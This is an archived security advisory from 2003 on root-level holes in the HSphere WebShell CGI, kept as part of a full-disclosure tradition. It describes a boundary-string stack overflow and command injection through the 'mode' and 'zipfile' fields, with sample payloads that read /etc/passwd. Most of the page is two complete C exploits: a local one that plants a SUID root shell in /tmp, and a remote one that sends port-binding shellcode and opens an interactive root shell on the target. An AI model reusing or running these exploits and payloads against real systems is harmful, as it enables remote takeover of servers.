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TUCoPS :: Linux :: Apps N-Z :: lnx5914.htm

Remote (and local) root vulnerability HSphere



6th Jan 2003 [SBWID-5914]
COMMAND

	Remote (and local) root vulnerability HSphere

SYSTEMS AFFECTED

	WebShell component of HSphere  product  by  Positive  Software,  version
	20020224 (latest tarball. Earlier versions are possibly vulnerable too)

PROBLEM

	Carl Livitt [carl (at) learningshophull.co.uk] says :
	
	
	 =================
	 Brief description
	 =================
	
	Webshell is a web-based application that acts  as  a  file  manager  for
	uploading  /  downloading  files  via  FTP.  It  uses  username/password
	authentication  to  ensure  security.  It  runs  SUID   root   in   Unix
	environments so that it can read from the system  shadow  password  file
	and change UID to a successfully authenticated user.
	
	There is  a  pre-authentication  buffer  overflow  in  the  HTTP  header
	processing code which would allow a malicious user to overwrite data  on
	the stack; this can lead to execution of arbitrary code as root.
	
	
	 ===========
	 More detail
	 ===========
	
	The overflow occurs  in  the  CGI::readFile()  function  of  CGI.C  when
	insufficient bounds checking (ie: none  at  all)  is  performed  on  the
	'boundary' string:
	
	int CGI::readFile(istream& is, ostream& os, const char* boundary) {
	  char b1[255];
	  
	  strcpy(b1, "\r");
	  strcat(b1, boundary);
	
	The 'boundary' string is taken from the data-stream directly  after  the
	HTTP headers in the incoming request. For example:
	
	POST /cgi-bin/webshell HTTP/1.1
	Host: www.vulnerablesite.com
	Content-Type: multipart/form-data boundary=AAAAA (300 "A"s)
	Content-Length: 900
	
	--AAAAA (300 "A"s)
	Content-Disposition: form-data; name="TESTNAME"; filename="TESTFILENAME"
	
	
	This would overflow the 'b1' array  with  300  "A"s  and  overwrite  the
	saved EIP with 0x41414141. Note that the data that  overwrites  'b1'  is
	not taken from the 'Content-Type' header, but from  the  line  preceding
	the 'Content-Disposition' field. Also note that both boundary tags  need
	to be identical for an exploit to succeed.
	
	To ease exploitation, shellcode can be stored in an HTTP header that  is
	converted to an environment variable by the webserver (eg. Apache)  when
	webshell is executed. An example of such a header is  'Accept-Encoding';
	this is converted to "HTTP_ACCEPT_ENCODING" and can store  strings  that
	hold enormous amounts of shellcode. The provided exploit  uses  a  small
	port-binding shellcode written by Bighawk.
	
	It should also be noted that webshell does  not  need  to  be  exploited
	remotely; it is perfectly possible to  exploit  it  locally  to  elevate
	user privileges to root.
	
	
	 =====================
	 Other Vulnerabilities
	 =====================
	
	Lines 114-117 of 'command.C':
	
	  string file = dirname + '/' + cgi.varByName("file");
	  string mode = cgi.varByName("mode");
	  string tmp=CHMOD+mode+" "+shquote(encodeFileName(file));
	  if (0==system(tmp.c_str())) {
	
	A user could execute commands by embedding them in the 'mode'  field  of
	the HTTP query (eg. 'mode=$(cat /etc/passwd) 0755').
	
	---------
	Lines 170-228 of 'command2.cc':
	
	 void Command::compress(bool download) {
	 string zipfile=encodeFileName(cgi.varByName("zipfile"));
	 string compression=cgi.varByName("compression");
	 .
	 .
	   if (compression.compare("zip")==0) {
	  .
	  .
	     cmd=ZIP" -q -r -b /tmp "+zipfile+tmp;
	   }
	 .
	 .
	 if (!error) {
	     if (download)
	       html.header("application/x-unknown");
	     error= !((chdir(dirname.c_str())==0) && (system(cmd.c_str())==0));
	
	A user could execute commands by embedding them in the  'zipfile'  field
	of the HTTP query (eg. 'zipfile=xyzzy`ls -l`').
	
	There are many occurences of this type  of  error.  It  should  also  be
	noted that the encodeFileName() function simply returns  the  string  it
	was passed! It does no encoding at all!
	
	----------
	Line 16 of diskusage.cc:
	
	 size+=diskusage(strcat(strcat(strcpy(file, path), "/"),dir_entry->d_name));
	
	'file' is declared as "char file[1024];" which could  probably  be  used
	to overflow stack variables, possibly modifying execution path via EIP.
	
	----------
	In flist() function in flist.C:
	
	 char fname[256];
	 int esize=strlen(ext);
	 int fsize;
	 if ((cdir=opendir(dname))!=NULL) {
	   while ((cfile=readdir(cdir)) != NULL) {
	     if ((esize>=(fsize=strlen(cfile->d_name))) ||
	         (strstr(cfile->d_name+fsize-esize,ext)==NULL)) continue;
	
	     strcpy(fname, dname);
	     strcat(fname, "/");
	     strcat(fname, cfile->d_name);
	
	
	fname[] gets overwritten, EIP overwritten etc etc.
	
	 ========
	 Exploits
	 ========
	
	In keeping with full-disclosure, here are  two  exploits:  a  local  one
	which will elevate any user to  r00t,  and  a  remote  one  which  works
	against all tested webshell  installations  and  yields  a  remote  root
	shell on port 10000 (by default).
	
	Both exploits work in a bruteforce manner, which ensures that they  work
	more often than not. However, this bruteforcing means that the  exploits
	are 'noisy': they leave a lot of mess. Cleaning up after  this  mess  is
	left as an excercise for the reader.
	
	First, the local exploit:
	
	/*
	 * Local r00t exploit for Webshell 2.4 (possibly other versions).
	 * Vulnerability found and exploit written by Carl Livitt
	 * (carl (@) learningshophull.co.uk).
	 *
	
	Exploits a simple stack-based buffer overflow in CGI.C of the
	HSphere webshell component which is installed SUID & GUID root
	by default.
	
	Uses a bruteforce method to guess the return address on the stack
	and the amount of data to overflow the buffer with; this ensures
	it works under many different environments. I originally hardcoded
	these values, but found that this was unreliable.
	
	Copy this file (webshell-local.c) to /tmp and then:
	
	cd /tmp
	gcc -o webshell-local webshell-local.c
	cd /path/to/the/webshell/directory
	/tmp/webshell-local
	
	That should get you r00t without any messing about.
	
	*/
	
	
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <stdio.h>
	#include <string.h>
	#include <unistd.h>
	#include <signal.h>
	
	#define EGG_SIZE_START 257
	#define EGG_SIZE_END 291
	#define RET_ADDR_START 0xbfffe910
	#define RET_ADDR_END 0xbfffffff
	#define RET_ADDR_INCREMENT 256
	#define CONTENT_LENGTH 42
	#define SHELLSCRIPT_FILE "/tmp/zz"
	#define EXPLOIT_FILE "/tmp/.webshell.txt"
	#define ROOT_SHELL "/tmp/rs"
	#define WEBSHELL_PROGRAM "./webshell"
	
	void create_shellscript_file();
	void make_shellcode();
	void make_exploit_buffer();
	void setup_environment();
	void make_exploit_file();
	
	char shellcode[] =
	        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
	        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	        "\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh
	
	char sc[1024];
	char egg[1024];
	
	char shell_script[]=
	        "#!/bin/sh\n"
	        "cd /tmp\n"
	        "cat << ROOTSHELL > "ROOT_SHELL".c\n"
	        "main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
	        "ROOTSHELL\n"
	        "gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
	        "chown root:root "ROOT_SHELL"*\n"
	        "chmod 6777 "ROOT_SHELL"\n"
	        "chmod 0666 "ROOT_SHELL".c\n";
	
	char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";
	
	int EGG_SIZE=EGG_SIZE_START;
	unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
	char *env[4];
	
	/*
	 * The fun begins here...
	 */
	
	main(int argc, char **argv) {
	        int brute_force_mode=1, status, pid;
	        struct stat s;
	
	        /*
	         * Check to see if the exploit has been run before...
	         */
	        if(stat((char *)ROOT_SHELL,&s)==0) {
	                printf("Root shell already exists... executing...\n");
	                system(ROOT_SHELL);
	                exit(0);
	        }
	
	        /*
	         * Make sure that the webshell binary can be found
	         * and is SUID root
	         */
	        if(stat(WEBSHELL_PROGRAM, &s)!=0) {
	                printf(WEBSHELL_PROGRAM" not found!\n");
	                exit(1);
	        } else if(!(s.st_mode&S_ISUID)) {
	                printf(WEBSHELL_PROGRAM" is not SUID root!\n");
	                exit(1);
	        }
	
	        /*
	         * Start the bruteforce loop...
	         */
	        printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
	        do {
	                // setup exploit buffers
	                make_shellcode();
	                make_exploit_buffer();
	                setup_environment();
	                make_exploit_file();
	                create_shellscript_file();
	                printf(".");fflush(stdout);
	
	                // fork and execute the webshell binary, passing it the
	                // exploit input.
	                if((pid=fork())==0) {
	                        system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
	                        exit(0);
	                } else {
	                        waitpid(pid, &status, 0);
	                }
	
	                // If ROOT_SHELL exists, then the exploit was successful.
	                // So execute it!
	                if(stat((char *)ROOT_SHELL,&s)==0) {
	                        printf("\nEntering r00t shell...\n\n");
	                        system(ROOT_SHELL);
	                        exit(0);
	                }
	
	                // The ROOT_SHELL did not exist, so adjust the bruteforce
	                // parameters and continue...
	                EGG_SIZE++;
	                if(EGG_SIZE>EGG_SIZE_END) {
	                        RET_ADDR+=RET_ADDR_INCREMENT;
	                        if(RET_ADDR>RET_ADDR_END) {
	                                printf("Leaving bruteforce mode...\n");
	                                brute_force_mode=0;
	                        } else {
	                                EGG_SIZE=EGG_SIZE_START;
	                        }
	                }
	        } while(brute_force_mode);
	        printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
	}
	
	/*
	 * Creates the file to be used as stdin for webshell.
	 */
	void make_exploit_file() {
	        FILE *fp;
	
	        if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
	                printf("Could not create exploit file %s\n", EXPLOIT_FILE);
	                exit(1);
	        }
	        fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
	        fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
	        fclose(fp);
	}
	
	/*
	 * Create the malicious environment in which webshell will run
	 */
	void setup_environment() {
	        int i;
	
	        unsetenv("S");
	        unsetenv("CONTENT_LENGTH");
	        unsetenv("REQUEST_METHOD");
	        unsetenv("CONTENT_TYPE");
	        env[0]=strdup(egg);
	        env[1]=strdup(sc);
	        env[2]=strdup("CONTENT_LENGTH=261");
	        env[3]=strdup("REQUEST_METHOD=POST");
	        env[4]=NULL;
	        for(i=0;i<4;i++)
	                putenv(env[i]);
	}
	
	/*
	 * It is the 'boundary' section of a multipart/form-data MIME type
	 * that overflows the buffer in webshell. This function creates the
	 * malicious boundary.
	 */
	void make_exploit_buffer() {
	        int i;
	
	        memset(egg, 0, EGG_SIZE-1);
	        memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
	        for(i=0;i<EGG_SIZE; i+=4) {
	                egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
	                egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
	                egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
	                egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
	        }
	        egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
	}
	
	/*
	 * Makes a 1024-byte buffer filled with NOPs and shellcode
	 */
	void make_shellcode() {
	        memset(sc, 0x90,1024);
	        sc[0]='S';
	        sc[1]='=';
	        memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
	        sc[1023]='\0';
	}
	
	/*
	 * Generate the shellscript that will be executed by the shellcode.
	 * By default, it will create a SUID root shell in /tmp
	 */
	void create_shellscript_file() {
	        FILE *fp;
	
	        if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
	                printf("Could not create %s\n", SHELLSCRIPT_FILE);
	                exit(1);
	        }
	        fprintf(fp, "%s", shell_script);
	        fclose(fp);
	        chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
	}
	
	
	 ==================
	 The remote exploit
	 ==================
	
	/*
	 * Remote r00t exploit for Webshell 2.4 (possibly other versions).
	 * Vulnerability found and exploit written by Carl Livitt 
	 * (carl (@) learningshophull.co.uk).
	 *
	
	Exploits a simple stack-based buffer overflow in CGI.C of the
	HSphere webshell component which is installed SUID & GUID root 
	by default.
	
	This exploit will bind a r00t shell to port 10000 (by default) of
	the remote box. Feel free to use any shellcode of your choice.
	
	This code is a butchered version of the local exploit for
	webshell. It works on my test box, and won't be refined any further,
	although the bruteforcer should work on most webshell installations.
	
	To exploit:
	
	gcc -o webshell-remote webshell-remote.c
	./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell
	
	That's it. It'll work on almost all vulnerable hosts (running Linux).
	*/
	
	
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <sys/socket.h>
	#include <stdio.h>
	#include <string.h>
	#include <unistd.h>
	#include <signal.h>
	#include <netdb.h>
	#include <time.h>
	
	/*
	 * Play with these to make it work (if it fails!)
	 */
	#define EGG_SIZE_START 280
	#define EGG_SIZE_END 291
	#define RET_ADDR_START 0xbffff010
	#define RET_ADDR_END 0xbfffffff
	#define RET_ADDR_INCR 768
	#define COMMAND1 "id\n"
	#define COMMAND2 "uname -a\n"
	#define ROOT_SHELL_PORT 10000
	
	// should only be needed against localhost. Set to 0 to disable.
	#define SLEEP_TIME 125000000L 
	
	// don't play with this, you'll only break things.
	#define CONTENT_LENGTH 43
	
	void make_shellcode();
	void make_exploit_buffer();
	void make_boundary_buffer();
	
	/*
	 * 88 bytes portbinding shellcode - linux-x86
	 * - by bighawk (bighawk@warfare.com)
	 *   setuid(0) and setgid(0) added by Carl Livitt
	 */
	char shellcode[] =
	   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0)
	   "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
	   "\x89\xc7\x52\x66\x68"
	   "XX" // XX is port number
	   "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"	
	   "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"	
	   "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"		
	   "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"			
	   "\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000		
	
	/*
	 * Ahhhh, global variables make life easy :)
	 */
	char sc[1024];
	char egg[1024];
	char exploit_buf[4096];
	char target[256];
	int port=80;
	char location[1024];
	unsigned long RET_ADDR;
	int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT;
	
	char usage[]=
	"-h           This cruft\n"
	"-t host      Target host (eg. www.xyzzy.com)\n"
	"-p port      Target port [80]\n"
	"-P port      Port to bind shell on remote host [10000]\n"
	"-l location  Location of webshell (eg. /cgi-bin/webshell)\n\n"
	"Example:\n\n"
	"./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n"
	"This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n"
	"and bind a root shell to port 12345 if successful.\n\n";
	
	/*
	 * The fun begins here...
	 */
	
	 main(int argc, char **argv) {
		int ch, websock, shellsock,r=1;
		struct hostent *host;
		struct sockaddr_in saddr;
		char buf[8092];
		struct timespec sleepTime;
		fd_set rfds;
		int retval;
			
		/*
		 * Process command-line args
		 */
		while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
			switch(ch) {
				case 'h':
					printf("%s",usage);
					exit(0);
					break;
				case 't':
					strncpy(target, optarg, sizeof(target)-1);
					break;
				case 'p':
					port=atoi(optarg);
					break;
				case 'P':
					root_shell_port=atoi(optarg);
					break;
				case 'l':
					strncpy(location, optarg, sizeof(location)-1);
					break;
				default:
					printf("%s", usage);
					exit(0);
					break;
			}
		}	
		
		/*
		 * Tell the attacker we're about to start the exploit.
		 * Look up the IP address of the host specified on the
		 * command-line
		 */
		if((host=gethostbyname(target))==NULL) {
			printf("Host not found. Usage:\n%s\n", usage);
			exit(1);
		}
		printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);
		
		/*
		 * Start the bruteforce loop
		 */
		for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
			for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
				/*
			 	 * Setup the exploit strings and
		 		 * HTTP headers. The Accept-Encoding header
		 		 * will hold shellcode: it will be passed
		 		 * to the environment of webshell giving us
		 		 * a reasonably predictable RET address.
		 		 */
				make_shellcode();
				make_boundary_buffer();
				make_exploit_buffer();
			
				/*
		 		 * Now connect to the host and send the exploit
		 		 * string...
		 		 */
				if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
					perror("socket()");
					exit(1);
				}
				memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
				saddr.sin_family=AF_INET;
				saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
				saddr.sin_port=htons(port);
				printf(".");fflush(stdout);
				if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
					perror("connect()");
					exit(1);
				}
				send(websock, exploit_buf, strlen(exploit_buf), 0);
				close(websock);
				
				/*
				 * This pause is needed when exploiting localhost.
				 * It can be ignored against remote hosts (I think!)
				 */			
				sleepTime.tv_sec=0;
				sleepTime.tv_nsec=SLEEP_TIME;
				nanosleep(&sleepTime, &sleepTime);
			
				/*
		 		 * If the exploit attempt succeded, there should now 
				 * be a r00t shell bound to port xxxxx of the target 
				 * box. Lets try and connect to it...
		 		 */
				if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
					perror("socket()");
					exit(1);
				}
				memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
				saddr.sin_family=AF_INET;
				saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
				saddr.sin_port=htons(root_shell_port);
				if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
					goto CONNECTED; // goto? Damn amateurs...
					
				/* 
				 * If we get here, the exploit failed. Try the next 
				 * iteration of the brute force loop.
				 */
				close(shellsock);
			}
		}
		/*
		 * If we get here, then the bruteforce was exhausted without a
		 * succesful exploit.
		 */
		printf("\nFailed to exploit the webshell binary. :(\n");
		exit(0);
	
	CONNECTED:
		/*
		 * We're now connected to the remote host. Issue
		 * some commands... ('id' and 'uname -a' by default)
		 */
		printf("\n\nExploit successful!\nIssuing some commands...\n\n");
		if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
			perror("send()");
			exit(1);
		}
		buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
		printf("%s", buf);
		send(shellsock, COMMAND2, strlen(COMMAND2), 0);
		buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
		printf("%s\n", buf);
		printf("You are now at a bash prompt...\n");
		
		/*
		 * Now let the attacker issue commands to the remote
		 * shell, just as if (s)he had launched 'nc host 10000'.
		 * Note the dodgy coding of assigning NULLs to the buf[]
		 * array. What would happen if recv() or read() returned -1 ?
		 * You guessed it: we mung some variables on the stack!
		 */
		do {
			FD_ZERO(&rfds);
			FD_SET(0, &rfds);
			FD_SET(shellsock, &rfds);
			retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
			if(retval) {
				if(FD_ISSET(shellsock, &rfds)) {
					buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
					printf("%s", buf);
				}
				if(FD_ISSET(0, &rfds)) {
					buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
					send(shellsock, buf, strlen(buf), 0);
				}
				
			}
		} while(retval && r); // loop until connection terminates
		close(shellsock);
		exit(0);
	}	
	
	/*
	 * Create the HTTP request that will setup the exploit
	 * conditions in webshell. Shellcode is stored in the 
	 * Accept-Encoding HTTP header.
	 */
	void make_exploit_buffer() {
		sprintf(exploit_buf,"POST %s HTTP/1.1\n",location);
		sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
		sprintf(exploit_buf,"%sAccept-Encoding: %s\n",exploit_buf, sc);
		sprintf(exploit_buf,"%s%s\n",exploit_buf,egg);
		sprintf(exploit_buf,"%sContent-Length: %d\n\n",exploit_buf,EGG_SIZE*2);
		sprintf(exploit_buf,"%s--%s\n",exploit_buf, egg+CONTENT_LENGTH);
		sprintf(exploit_buf,"%sContent-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n",exploit_buf);
		sprintf(exploit_buf,"%s%-*s\n",exploit_buf, EGG_SIZE*4," ");
	}
	
	/*
	 * Create the buffer that holds the 'boundary' data. This
	 * is what actually overflows the buffer on the stack.
	*/ 
	void make_boundary_buffer() {
		int i;
	
		memset(egg, 0, EGG_SIZE-1);
		memcpy(egg, "Content-Type: multipart/form-data boundary=", CONTENT_LENGTH);
		for(i=0;i<EGG_SIZE; i+=4) {
			egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
			egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
			egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
			egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
		}
		egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
	}
	
	/*
	 * Creates a 1024-byte buffer holding NOPs and shellcode.
	 */
	void make_shellcode() {
		// Fill in the port number
		shellcode[33]=htons(root_shell_port)&0xff;
		shellcode[34]=(htons(root_shell_port)>>8)&0xff;
	
		// Finish making shellcode buffer
		memset(sc, 0x90,1024);
		memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
		sc[1023]='\0';
	}
	

SOLUTION

	
	Tarball: http://www.hsphere.com/WebShell-2.4.tar.gz
	Update:  http://www.psoft.net/misc/webshell_patch.html
	
	Thanks to Ivor Seletskiy and the team for their  excellent  coordination
	in responding to and resolving this matter.


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